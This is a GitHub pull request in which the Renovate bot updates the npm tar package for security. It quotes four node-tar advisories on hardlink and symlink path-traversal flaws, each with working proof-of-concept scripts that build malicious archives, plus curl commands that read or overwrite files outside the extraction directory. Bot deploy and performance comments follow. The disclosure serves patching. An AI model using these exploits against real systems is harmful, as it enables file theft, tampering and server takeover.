Skip to content

chore(deps): update dependency tar to >=7.5.11 [security]#3867

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate-npm-tar-vulnerability
Open

chore(deps): update dependency tar to >=7.5.11 [security]#3867
renovate[bot] wants to merge 1 commit intomainfrom
renovate-npm-tar-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Mar 14, 2026

This PR contains the following updates:

Package Change Age Confidence
tar >=7.5.4>=7.5.11 age confidence

GitHub Vulnerability Alerts

CVE-2026-24842

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]:

const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }

Hardlink creation in [HARDLINK]:

const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);

Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

  • Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

  • Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:

poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)

package.json

{ "dependencies": { "tar": "^7.5.0" } }

secret.txt (sensitive file outside uploads/)

DATABASE_PASSWORD=supersecret123

server.js (vulnerable file upload server)

const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));

create-malicious-tar.js (attacker creates exploit TAR)

const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
  if (linkpath) b.write(linkpath, 157);
  b.write('ustar\x00', 257); b.write('00', 263);
  let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');

Run

# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

# Terminal 1: Start server
node server.js

# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @&#8203;malicious.tar http://localhost:3000/upload

# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read

# Returns: DATABASE_PASSWORD=supersecret123

# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

# Confirm secret.txt was modified
cat secret.txt

Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

Attack Vector Target File Result
SSH Access ~/.ssh/authorized_keys Direct shell access to server
Cron Backdoor /etc/cron.d/*, ~/.crontab Persistent code execution
Shell RC Files ~/.bashrc, ~/.profile Code execution on user login
Web App Backdoor Application .js, .php, .py files Immediate RCE via web requests
Systemd Services /etc/systemd/system/*.service Code execution on service restart
User Creation /etc/passwd (if running as root) Add new privileged user

Data Exfiltration & Corruption

  1. Overwrite arbitrary files via hardlink escape + subsequent write operations
  2. Read sensitive files by creating hardlinks that point outside extraction directory
  3. Corrupt databases and application state
  4. Steal credentials from config files, .env, secrets

CVE-2026-26960

Summary

tar.extract() in Node tar allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.

This enables arbitrary file read and write as the extracting user (no root, no chmod, no preservePaths).

Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.

Details

The bypass chain uses two symlinks plus one hardlink:

  1. a/b/c/up -> ../..
  2. a/b/escape -> c/up/../..
  3. exfil (hardlink) -> a/b/escape/<target-relative-to-parent-of-extract>

Why this works:

  • Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.

    • See STRIPABSOLUTEPATH logic in:
      • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255
      • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268
      • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281
  • Hardlink extraction resolves target as path.resolve(cwd, entry.linkpath) and then calls fs.link(target, destination).

    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703
  • Parent directory safety checks (mkdir + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.

    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27
    • ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101

As a result, exfil is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via exfil.

PoC

hardlink.js
Environment used for validation:

  • Node: v25.4.0
  • tar: 7.5.7
  • OS: macOS Darwin 25.2.0
  • Extract options: defaults (tar.extract({ file, cwd }))

Steps:

  1. Prepare/locate a tar module. If require('tar') is not available locally, set TAR_MODULE to an absolute path to a tar package directory.

  2. Run:

TAR_MODULE="$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)" node hardlink.js
  1. Expected vulnerable output (key lines):
same_inode=true
read_ok=true
write_ok=true
result=VULNERABLE

Interpretation:

  • same_inode=true: extracted exfil and external secret are the same file object.
  • read_ok=true: reading exfil leaks external content.
  • write_ok=true: writing exfil modifies external file.

Impact

Vulnerability type:

  • Arbitrary file read/write via archive extraction path confusion and link resolution.

Who is impacted:

  • Any application/service that extracts attacker-controlled tar archives with Node tar defaults.
  • Impact scope is the privileges of the extracting process user.

Potential outcomes:

  • Read sensitive files reachable by the process user.
  • Overwrite writable files outside extraction root.
  • Escalate impact depending on deployment context (keys, configs, scripts, app data).

CVE-2026-29786

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

  1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
  2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
  3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
  4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files

CVE-2026-31802

Summary

tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt":

  1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
  2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
  3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
  4. Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.10.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files

Release Notes

isaacs/node-tar (tar)

v7.5.11

Compare Source

v7.5.10

Compare Source

v7.5.9

Compare Source


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency label Mar 14, 2026
@netlify
Copy link
Copy Markdown

netlify bot commented Mar 14, 2026

Deploy Preview for brilliant-pasca-3e80ec canceled.

Name Link
🔨 Latest commit ac8e7fc
🔍 Latest deploy log https://app.netlify.com/projects/brilliant-pasca-3e80ec/deploys/69b5bbaa98e2ab000804253a

@github-actions
Copy link
Copy Markdown

🚀 Performance Test Results

Test Configuration:

  • VUs: 4
  • Duration: 1m0s

Test Metrics:

  • Requests/s: 41.42
  • Iterations/s: 13.81
  • Failed Requests: 0.00% (0 of 2495)
📜 Logs

> performance@1.0.0 run-tests:testenv /home/runner/work/rafiki/rafiki/test/performance
> ./scripts/run-tests.sh -e test "-k" "-q" "--vus" "4" "--duration" "1m"

Cloud Nine GraphQL API is up: http://localhost:3101/graphql
Cloud Nine Wallet Address is up: http://localhost:3100/
Happy Life Bank Address is up: http://localhost:4100/
cloud-nine-wallet-test-backend already set
cloud-nine-wallet-test-auth already set
happy-life-bank-test-backend already set
happy-life-bank-test-auth already set
     data_received..................: 901 kB 15 kB/s
     data_sent......................: 1.9 MB 32 kB/s
     http_req_blocked...............: avg=7.35µs   min=2.13µs   med=5.37µs   max=1.2ms    p(90)=6.49µs   p(95)=7.19µs  
     http_req_connecting............: avg=858ns    min=0s       med=0s       max=812.87µs p(90)=0s       p(95)=0s      
     http_req_duration..............: avg=95.92ms  min=6.28ms   med=77.56ms  max=617.67ms p(90)=167.07ms p(95)=185.74ms
       { expected_response:true }...: avg=95.92ms  min=6.28ms   med=77.56ms  max=617.67ms p(90)=167.07ms p(95)=185.74ms
     http_req_failed................: 0.00%  ✓ 0         ✗ 2495
     http_req_receiving.............: avg=85.59µs  min=26.43µs  med=77.61µs  max=1.11ms   p(90)=114.66µs p(95)=135.71µs
     http_req_sending...............: avg=37.64µs  min=10.54µs  med=28.93µs  max=1.1ms    p(90)=42.39µs  p(95)=59.13µs 
     http_req_tls_handshaking.......: avg=0s       min=0s       med=0s       max=0s       p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=95.8ms   min=6.14ms   med=77.46ms  max=617.58ms p(90)=166.98ms p(95)=185.59ms
     http_reqs......................: 2495   41.423389/s
     iteration_duration.............: avg=289.28ms min=180.96ms med=276.21ms max=1.15s    p(90)=345.79ms p(95)=387.73ms
     iterations.....................: 832    13.81333/s
     vus............................: 4      min=4       max=4 
     vus_max........................: 4      min=4       max=4 

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants